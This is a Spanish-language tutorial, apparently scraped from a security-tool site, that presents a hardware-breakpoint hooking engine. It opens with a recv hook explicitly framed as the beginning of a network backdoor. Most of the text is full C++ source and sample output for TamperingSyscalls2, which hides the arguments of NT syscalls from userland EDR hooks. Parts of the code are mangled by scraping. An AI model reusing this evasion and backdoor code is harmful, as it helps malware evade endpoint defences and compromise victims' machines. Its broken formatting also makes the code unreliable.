El comienzo de tu puerta trasera podría verse así:

HWBP recv_hook{ (uintptr_t)GetProcAddress((LoadLibrary(L"WS2_32.dll"),
	GetModuleHandle(L"WS2_32.dll")),"recv"), 3,
	([&](PEXCEPTION_POINTERS ExceptionInfo) {
		
		for (auto& i : ADDRESS_MAP) {
			if (i.first == ExceptionInfo->ContextRecord->Rip) {
				SetHWBP(GetCurrentThread(), i.first, i.second.pos, false);
			}
		}

		char verbuf[9]{ 0 };
		int	verbuflen{ 9 }, recvlen{ 0 };

		recvlen = recv(ExceptionInfo->ContextRecord->Rcx, verbuf,
				   verbuflen, MSG_PEEK);

		BYTE TLS[] = { 0x17, 0x03, 0x03 };

		if (recvlen >= 3) {
			if ((memcmp(verbuf, TLS, 3) == 0))1
			{
				MSG_AUTH msg{ 0 };
				// We'll peek like SockDetour as to not eat the message
				recvlen = recv(ExceptionInfo->ContextRecord->Rcx, (char*)&msg,
					sizeof(MSG_AUTH), MSG_PEEK);
					// Authenticate and proceed

			}
		}

		// Set corresponding Dr
		for (auto& i : ADDRESS_MAP) {
			if (i.first == ExceptionInfo->ContextRecord->Rip) {
				SetHWBP(GetCurrentThread(), i.first, i.second.pos, true);
			}
		}

		ExceptionInfo->ContextRecord->EFlags |= (1 << 16);
}) };

Terminaremos implementando una técnica genérica de evasión en userland para x64 inspirada en TamperingSyscalls, que utiliza una versión adecuadamente modificada del motor de breakpoints de hardware mostrado anteriormente para ocultar hasta 12 argumentos de hasta CUALQUIER 4 syscalls de Nt a la vez por hilo. Ten en cuenta que elegí no propagar el contenido de los registros de depuración a todos los hilos, ya que probablemente sería indeseable (si se desea, reemplaza SetHWBP por SetHWBPS).

No necesito describir por qué esto sería deseable y súper ÉPICO ni profundizar en el hooking en userland, ya que no son los temas que nos ocupan ni nos preocupan, y han sido tratados en profundidad varias veces [5].

Creamos un nuevo mapeo utilizando (address | ThreadID) como clave única, y el valor es una estructura que contiene los argumentos de la función. Crearemos una nueva entrada en nuestro mapeo al entrar en la syscall y limpiaremos los valores en los registros y en la pila.

Usamos el single-stepping (a través del trap flag) para fingir que tenemos más registros de depuración de los que realmente tenemos. PODEMOS hacer esto, dado que sabemos cuándo y dónde necesitamos que ocurran acciones específicas.

Cuando alcanzamos la dirección de syscall deseada, restauramos nuestros valores desde la entrada del hashmap asociada con nuestra clave. Esto devolverá los valores de la pila a los registros. Luego continuamos con el single-step hasta la instrucción de retorno, donde dejamos de hacer single-step y continuamos.

Esto, en última instancia, nos permite un hooking sin tipos. Es más, inicialmente especificamos que solo ocultaremos 12 argumentos: 4 de los registros y 8 de la pila. Este valor "8" es solo arbitrario pero recomendado, y ocultar o cambiar más valores/argumentos en la pila puede producir un comportamiento no deseado.

Nuestra pila de llamadas ya debería originarse desde una DLL adecuada y, por lo tanto, no deberías necesitar llamar a las funciones nativas y puedes llamar a un wrapper adecuado desde cualquier DLL, siempre que llames al constructor con la dirección de la función nativa en NTDLL.

Esto es trivial y se puede lograr cambiando la macro:
#define STK_ARGS 8		// 12 - 4 = 8 - should cover most Nt functions.

En el ejemplo, mostramos cómo funciona con NtCreateThreadEx y NtCreateMutant. Asegúrate de usar solo los 4 registros de depuración individualmente por hilo. Una vez que hayas terminado con una función específica, puedes liberar el registro de depuración asociado llamando al método RemoveHWBPS.

1. Si (addr == entry.first) esto significa que estamos en la instrucción mov r10, rcx 
 - Almacenamos nuestros argumentos en nuestra entrada del hashmap usando la clave (TID | address)

const auto key = (address + 0x12) | GetCurrentThreadId();

SYSCALL_MAP[key].Rcx = ExceptionInfo->ContextRecord->Rcx;
SYSCALL_MAP[key].Rdx = ExceptionInfo->ContextRecord->Rdx;
SYSCALL_MAP[key].R8 = ExceptionInfo->ContextRecord->R8;
SYSCALL_MAP[key].R9 = ExceptionInfo->ContextRecord->R9;

for (size_t idx = 0; idx < STK_ARGS; idx++)
{
	const size_t offset = idx * 0x8 + 0x28;
	SYSCALL_MAP[key].stk[idx] =
		*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset);
}
 - Luego establecemos estos valores de argumento a 0 (puede ser cualquier otro valor arbitrario) 

ExceptionInfo->ContextRecord->Rcx = 0;
ExceptionInfo->ContextRecord->Rdx = 0;
ExceptionInfo->ContextRecord->R8 = 0;
ExceptionInfo->ContextRecord->R9 = 0;
// ...

 - Luego establecemos el Resume Flag en el bit 16 y el Trap Flag en el bit 8
 - Esto continuará la ejecución, como siempre, afectando mínimamente al rendimiento. 
 
ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // Resume Flag
ExceptionInfo->ContextRecord->EFlags |= (1 << 8);	// Trap Flag

2. Continúa con el single-step hasta (addr == entry.second.sysc) 
 - Ahora estamos en la instrucción syscall y hemos pasado cualquier hook de userland 
 - Restauramos nuestros argumentos usando la clave de búsqueda anterior (TID | address).```c
auto const key = (address | GetCurrentThreadId());

// mov rcx, r10 
ExceptionInfo->ContextRecord->R10 = SYSCALL_MAP[key].Rcx;
ExceptionInfo->ContextRecord->Rcx = SYSCALL_MAP[key].Rcx;	
ExceptionInfo->ContextRecord->Rdx = SYSCALL_MAP[key].Rdx;
ExceptionInfo->ContextRecord->R8 = SYSCALL_MAP[key].R8;
ExceptionInfo->ContextRecord->R9 = SYSCALL_MAP[key].R9;

for (size_t idx = 0; idx < STK_ARGS; idx++)
{
	const size_t offset = idx * 0x8 + 0x28;
	*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset) =
		SYSCALL_MAP[key].stk[idx];
}
  • Volveremos a ejecutar paso a paso.
  1. Ahora estamos en (address == ai.return_addr)
  • Ahora podemos dejar de ejecutar paso a paso y solo establecer el Resume Flag (no el Trap Flag)
  • Esto continuará la ejecución, como siempre, afectando solo mínimamente el rendimiento.

La técnica descrita anteriormente está implementada, centrándose en ocultar TODOS los argumentos de la MAYORÍA de las syscalls nativas! Y así disfruta de esta solución elegante y sencilla donde también proporciono las sentencias de impresión de depuración, para que puedas ver los cambios que se están realizando en la pila y los registros y los procesos de pensamiento detrás de todo esto.```C ////////////////////////////////////////////////////////////////////////////////////////// /* TamperingSyscalls2.cpp - @rad9800 / / C++ Generic x64 user-land evasion technique utilizing HWBP.cpp / / Hides up to 12 args of up to 4 NT calls per thread */ ////////////////////////////////////////////////////////////////////////////////////////// #include <windows.h>

#include <tlhelp32.h> #include

////////////////////////////////////////////////////////////////////////////////////////// /* Structs */ //////////////////////////////////////////////////////////////////////////////////////////

root@kitploit:~
					// 12 - 4 = 8 - should cover most Nt functions. 

#define STK_ARGS 8 // Increase this value, works until ~100...

typedef struct { uintptr_t syscall_addr; // +0x12 uintptr_t return_addr; // +0x14 } ADDRESS_INFORMATION;

typedef struct { uintptr_t Rcx; // First uintptr_t Rdx; // Second uintptr_t R8; // Third uintptr_t R9; // Fourth uintptr_t stk[STK_ARGS]; // Stack args } FUNC_ARGS;

////////////////////////////////////////////////////////////////////////////////////////// /* Macros / ////////////////////////////////////////////////////////////////////////////////////////// #define PRINT_ARGS( State, ExceptionInfo )
printf("%s %d arguments and stack for 0x%p || TID : 0x%x\n",
State, (STK_ARGS + 4), (PVOID)address, GetCurrentThreadId());
printf("1:\t0x%p\n", (PVOID)(ExceptionInfo)->ContextRecord->Rcx);
printf("2:\t0x%p\n", (PVOID)(ExceptionInfo)->ContextRecord->Rdx);
printf("3:\t0x%p\n", (PVOID)(ExceptionInfo)->ContextRecord->R8);
printf("4:\t0x%p\n", (PVOID)(ExceptionInfo)->ContextRecord->R9);
for (UINT idx = 0; idx < STK_ARGS; idx++){
const size_t offset = idx * 0x8 + 0x28;
printf("%d:\t0x%p\n", (idx + 5), (PVOID)
(PULONG64)
((ExceptionInfo)->ContextRecord->Rsp + offset));
}

////////////////////////////////////////////////////////////////////////////////////////// /* Globals */ ////////////////////////////////////////////////////////////////////////////////////////// std::unordered_map<uintptr_t, ADDRESS_INFORMATION> ADDRESS_MAP{ 0 }; // syscall opcode { 0x55 } address, func args in registers and stack std::unordered_map<uintptr_t, FUNC_ARGS> SYSCALL_MAP{ 0 };

////////////////////////////////////////////////////////////////////////////////////////// /* Functions */ ////////////////////////////////////////////////////////////////////////////////////////// VOID SetHWBP(const HANDLE thd, const uintptr_t address, const UINT pos, const bool init) { CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS }; GetThreadContext(thd, &context);

root@kitploit:~
if (init) {
	(&context.Dr0)[pos] = address;

	context.Dr7 &= ~(3ull << (16 + 4 * pos));
	context.Dr7 &= ~(3ull << (18 + 4 * pos));
	context.Dr7 |= 1ull << (2 * pos);
}
else {
	if ((&context.Dr0)[pos] == address) {
		context.Dr7 &= ~(1ull << (2 * pos));
		(&context.Dr0)[pos] = NULL;
	}
}

SetThreadContext(thd, &context);

}

// Find our ret ROP gadget (pointer decay so need explicit size) uintptr_t FindRopAddress(const uintptr_t function, const BYTE* stub, const UINT size) { for (unsigned int i = 0; i < (unsigned int)25; i++) { // memcmp WILL be optimized if (memcmp((LPVOID)(function + i), stub, size) == 0) { return (function + i); } } return NULL; }

DWORD WINAPI TestThread(LPVOID lpParameter);

////////////////////////////////////////////////////////////////////////////////////////// /* Classes */ ////////////////////////////////////////////////////////////////////////////////////////// struct TS2_HWBP { private: const uintptr_t address; UINT pos; public: TS2_HWBP(const uintptr_t address, const UINT idx) : address{ address }, pos{ idx % 4 } { SetHWBP(GetCurrentThread(), address, pos, true);

root@kitploit:~
	BYTE syscop[] = { 0x0F, 0x05 };
	ADDRESS_MAP[address].syscall_addr =
		FindRopAddress(address, syscop, sizeof(syscop));
	BYTE retnop[] = { 0xC3 };
	ADDRESS_MAP[address].return_addr =
		FindRopAddress(address, retnop, sizeof(retnop));
};

VOID RemoveHWBPS()
{
	SetHWBP(GetCurrentThread(), address, pos, false);
}

~TS2_HWBP()
{
	RemoveHWBPS();
}

};

////////////////////////////////////////////////////////////////////////////////////////// /* Exception Handler */ ////////////////////////////////////////////////////////////////////////////////////////// LONG WINAPI ExceptionHandler(const PEXCEPTION_POINTERS ExceptionInfo) { const auto address = ExceptionInfo->ContextRecord->Rip; if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP) { for (const auto& [syscall_instr, ai] : ADDRESS_MAP) { // check we are inside valid syscall instructions if ((address >= syscall_instr) && (address <= ai.return_addr)) { printf("0x%p >= 0x%p\n", (PVOID)address, (PVOID)syscall_instr); printf("0x%p <= 0x%p\n", (PVOID)address, (PVOID)ai.return_addr);

root@kitploit:~
			if (address == syscall_instr) // mov r10, rcx
			{
				const auto key = (address + 0x12) | GetCurrentThreadId();

				SYSCALL_MAP[key].Rcx = ExceptionInfo->ContextRecord->Rcx;
				SYSCALL_MAP[key].Rdx = ExceptionInfo->ContextRecord->Rdx;
				SYSCALL_MAP[key].R8 = ExceptionInfo->ContextRecord->R8;
				SYSCALL_MAP[key].R9 = ExceptionInfo->ContextRecord->R9;

				for (size_t idx = 0; idx < STK_ARGS; idx++)
				{
					const size_t offset = idx * 0x8 + 0x28;
					SYSCALL_MAP[key].stk[idx] =
						*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset);
				}

				PRINT_ARGS("HIDING", ExceptionInfo);

				ExceptionInfo->ContextRecord->Rcx = 0;
				ExceptionInfo->ContextRecord->Rdx = 0;
				ExceptionInfo->ContextRecord->R8 = 0;
				ExceptionInfo->ContextRecord->R9 = 0;

				for (size_t idx = 0; idx < STK_ARGS; idx++)
				{
					const size_t offset = idx * 0x8 + 0x28;
					*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset) = 0ull;
				}

				PRINT_ARGS("HIDDEN", ExceptionInfo);

				ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // Resume Flag
			}
			else if (address == ai.syscall_addr)
			{
				auto const key = (address | GetCurrentThreadId());

				// SSN in ExceptionInfo->ContextRecord->Rax

				// mov rcx, r10 
				ExceptionInfo->ContextRecord->R10 = SYSCALL_MAP[key].Rcx;
				ExceptionInfo->ContextRecord->Rcx = SYSCALL_MAP[key].Rcx;
				ExceptionInfo->ContextRecord->Rdx = SYSCALL_MAP[key].Rdx;
				ExceptionInfo->ContextRecord->R8 = SYSCALL_MAP[key].R8;
				ExceptionInfo->ContextRecord->R9 = SYSCALL_MAP[key].R9;

				for (size_t idx = 0; idx < STK_ARGS; idx++)
				{
					const size_t offset = idx * 0x8 + 0x28;
					*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset) =
						SYSCALL_MAP[key].stk[idx];
				}

				PRINT_ARGS("RESTORED", ExceptionInfo);

				SYSCALL_MAP.erase(key);
			}
			else if (address == ai.return_addr)
			{
				ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // Resume Flag
				return EXCEPTION_CONTINUE_EXECUTION;
			}
			ExceptionInfo->ContextRecord->EFlags |= (1 << 8);	// Trap Flag
			return EXCEPTION_CONTINUE_EXECUTION;
		}
	}
}
return EXCEPTION_CONTINUE_SEARCH;

}

////////////////////////////////////////////////////////////////////////////////////////// /* Entry */ ////////////////////////////////////////////////////////////////////////////////////////// int main() { const PVOID handler = AddVectoredExceptionHandler(1, ExceptionHandler);

root@kitploit:~
TS2_HWBP TS2NtCreateThreadEx{
	(uintptr_t)(GetProcAddress(GetModuleHandleW(L"NTDLL.dll"),
	"NtCreateThreadEx")),
	0
};

for (unsigned int i = 0; i < 2; ++i) {
	HANDLE t = CreateThread(nullptr, 0, TestThread, nullptr, 0, nullptr);
	if (t) WaitForSingleObject(t, INFINITE);
}

TS2NtCreateThreadEx.RemoveHWBPS();

if (handler != nullptr) RemoveVectoredExceptionHandler(handler);

}

DWORD WINAPI TestThread(LPVOID lpParameter) { UNREFERENCED_PARAMETER(lpParameter); printf("\n----TestThread----\n\n");

root@kitploit:~
TS2_HWBP TS2NtCreateMutant{
	(uintptr_t)(GetProcAddress(GetModuleHandleW(L"NTDLL.dll"),
	"NtCreateMutant")),
	0
};

HANDLE m = CreateMutexA(NULL, TRUE, "rad98");
if (m) CloseHandle(m);

return 0;

} ////////////////////////////////////////////////////////////////////////////////////////// /* EOF */ //////////////////////////////////////////////////////////////////////////////////////////

root@kitploit:~
Aquí hay un ejemplo de salida, que muestra los argumentos de NtCreateThreadEx oculto.```
0x00007FFBDF485400 >= 0x00007FFBDF485400
0x00007FFBDF485400 <= 0x00007FFBDF485414
HIDING 12 arguments and stack for 0x00007FFBDF485400 || TID : 0x9ecc
1:      0x00000062618FF8D8
2:      0x00000000001FFFFF
3:      0x0000000000000000
4:      0xFFFFFFFFFFFFFFFF
5:      0x00007FF79FB01FA0
6:      0x0000000000000000
7:      0x0000000000000000
8:      0x0000000000000000
9:      0x0000000000000000
10:     0x0000000000000000
11:     0x00000062618FF9F0
12:     0x000001C700000000
HIDDEN 12 arguments and stack for 0x00007FFBDF485400 || TID : 0x9ecc
1:      0x0000000000000000
2:      0x0000000000000000
3:      0x0000000000000000
4:      0x0000000000000000
5:      0x0000000000000000
6:      0x0000000000000000
7:      0x0000000000000000
8:      0x0000000000000000
9:      0x0000000000000000
10:     0x0000000000000000
11:     0x0000000000000000
12:     0x0000000000000000
0x00007FFBDF485403 >= 0x00007FFBDF485400
0x00007FFBDF485403 <= 0x00007FFBDF485414
0x00007FFBDF485408 >= 0x00007FFBDF485400
0x00007FFBDF485408 <= 0x00007FFBDF485414
0x00007FFBDF485410 >= 0x00007FFBDF485400
0x00007FFBDF485410 <= 0x00007FFBDF485414
0x00007FFBDF485412 >= 0x00007FFBDF485400
0x00007FFBDF485412 <= 0x00007FFBDF485414
RESTORED 12 arguments and stack for 0x00007FFBDF485412 || TID : 0x9ecc
1:      0x00000062618FF8D8
2:      0x00000000001FFFFF
3:      0x0000000000000000
4:      0xFFFFFFFFFFFFFFFF
5:      0x00007FF79FB01FA0
6:      0x0000000000000000
7:      0x0000000000000000
8:      0x0000000000000000
9:      0x0000000000000000
10:     0x0000000000000000
11:     0x00000062618FF9F0
12:     0x000001C700000000
0x00007FFBDF485414 >= 0x00007FFBDF485400
0x00007FFBDF485414 <= 0x00007FFBDF485414

----TestThread----
[...]

TamperingSyscalls2 (Black Mass) - https://godbolt.org/z/4qrM6j9q7

TamperingSyscalls2 (updated) - https://godbolt.org/z/edf9v1Wj6

TamperingSyscalls2 (pure C) - https://godbolt.org/z/9va7YzEe9

El código compartido debería funcionar para la mayoría de las syscalls, aunque deberías probarlo antes de usarlo. La única limitación importante en los trabajos presentados es la dependencia de los hash maps (std::unordered_map); esto internamente llamará a varias funciones nativas de forma indirecta, como NtAllocateVirtualMemory, lo que nos impide hookearlas. Esto puede reutilizarse para que funcione con x86 con un esfuerzo mínimo.

En el futuro, podrías modificar las librerías para utilizar el single stepping, como se muestra en el último ejemplo. Necesitarías saber cuándo quieres detener el single-stepping (una dirección o rango) y hacerlo de esa manera. Esto también puede usarse para el hooking de PAGE_GUARD.

También podrías reemplazar AddVectoredExceptionHandler por: SetUnhandledExceptionFilter(ExceptionHandler);

Referencias:

[1] https://learn.microsoft.com/en-us/windows/win32/debug/using-a-vectored-exception-handler

[2] https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention

[3] https://unit42.paloaltonetworks.com/sockdetour/

[4] https://github.com/microsoft/Windows-classic-samples/tree/main/Samples/Win7Samples/netds/winsock/

[5] https://fool.ish.wtf/2022/08/tamperingsyscalls.html

[6] https://labs.withsecure.com/publications/spoofing-call-stacks-to-confuse-edrs

Con todo esto, quiero terminar con una nota positiva; espero que hayas comprendido el poder BRUTO INIGUALABLE de los hardware breakpoints!!!

Saludos a jonas, hjonk, smelly, mez0 y a los demás geezers ;)``` .
. .
!
:^.
^77^ :!7:
.
!^. 7!!
:!: :7^.
!. ! ...:^.
!7. .!^ !!!
:
7. ^7: .7.
.:^::. .7! !! !

....:::^!. !!: .7^ .!^
.:^:. :!!:.^!. .7.
^^?^. :!!!
:::::^7
.^:
!7!^. ^7^:^~~~~~^:
:^^:7. .77
::^^!!: :. -your mate
.!7~:::~!
!!^ .!^. ^^. rad
!?^^.::^~~~777!. ^7. .^^:
^??^:.:::^~~~!!!7!!^. .!! .98. ...^~~~^:
.7JJ:^::::::^^!!
!7JY?^.:...:: :: .?5: .?G5Y7!:
.:^7JJ777^^~~~~~^^^:^!~~~!7???J7
:^^::.... ... . ^!7.^:.:~ JBYJ~.
.^?5J!^~~~^^^:::^~~~~~^~~~~!!77??:.^::::....^::... .: ::7!.:^^::^^ ?B7:: .....
^^!!!^^!!77777~~~~!!!777????!::..:.. . .^!!77!^^ .:. ...^: . !B7. ~~::.
:. .^!?7:::^^^!!7??J?7!!!!7?7:::. ... .^!77!
^:!!:. ..: J? ... .^ .^!J:^^^:::^7?YYYJ7!!..:. :^^^77?777!::^^ . . ....... .. .. ...:~~~!! .~~?:^^^^:^^^^^!7!7!:. .^:^777!7??7!!!^:: . . ....::..... .^~~~^^^^ ^^7^^!^^^^~~~:.:..^!:^^:7??7????7!!^:: . ... .......... .J?7!~~^^^^ .!^!^^^^^^..:^....:.^!7JYY5YJJ?77!:.^~ .. .:.... .... :5Y?7777~~~^ :7^^^^~~~:..::^^:. :!^..:!!!77???JJ?!^!!:. .^::::.::^..: .J?7~~^^^^^^ !!.^!!!^.::::... ^:..7JJJ??777!!!!!!~~~^. .......^^^ ...!J?77!!77?7!~ ^7!::!!^:..:^::.. .^...^!77????77!~~~~^^!?!. . .. .::..:. .^7Y5YYYJ???!! ^?7::^^!. :::::. :: ... .....::::^^^!!!^. ....:!?!7!. .^..:?5YYJ?777!! ?7^^!!7!: ..:... ^::.:^^:::.... ..:::!!..7JJYYYYJJJ??J?JJ :7!::~~~~: ... .^:.:::...^^:::::...... ......... :!: !7??JJJJJ???777 .:^~~7!!77!!^ :^:................::....:::.....:.:.. :!: :77J?7!!7??77!~~~~ ?J57~!!!77!!!!!^:...^. .. ........:^^^^:....:.... :!. .?Y5YJ??J?7!^^^^ ^::!!!!!77!!~~~!7!!^:^~~~~^:.. ....:::^^^::........ : .^?JJYJJ777!^^^ .^??^!!^^::~~~^:!!77!!^^^:. .....::::^:.. .... ^^ .. ..:7J5YJJ?!!~~ .J!~~~^^:^::::^^^^!7!!~~~~!!^. .. ...::^......... .^::..:... .^755YJ???7 .^7^:^!^:^:^^^^^!!!!~~~~~~:. .. ...:... .....:^^^:^::: ^JYYY?!~~ ^!:!^:^^~~~!~~~~~~~!7!!: . . .. ..... .:..:^^::::.. .?Y?!!!!~ :!^^^::::^~~^~~~~~~~!7!77. . . . . ......:::.. . ^7!7?7~~

root@kitploit:~
Descargar herramienta